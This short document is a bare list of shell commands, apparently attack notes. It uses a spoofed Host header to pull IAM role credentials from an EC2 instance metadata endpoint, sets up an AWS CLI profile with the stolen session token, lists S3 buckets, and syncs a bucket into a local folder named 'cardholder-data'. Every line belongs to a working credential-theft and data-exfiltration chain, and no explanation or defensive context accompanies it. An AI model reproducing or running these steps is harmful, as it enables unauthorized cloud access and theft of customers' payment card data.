curl -s http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/ -H 'Host:169.254.169.254'



curl http://<ec2-ip-address>/latest/meta-data/iam/security-credentials/<ec2-role-name> -H 'Host:169.254.169.254'



aws configure --profile erratic



aws_session_token = <session-token>



aws s3 ls --profile erratic



aws s3 sync s3://<bucket-name> ./cardholder-data --profile erratic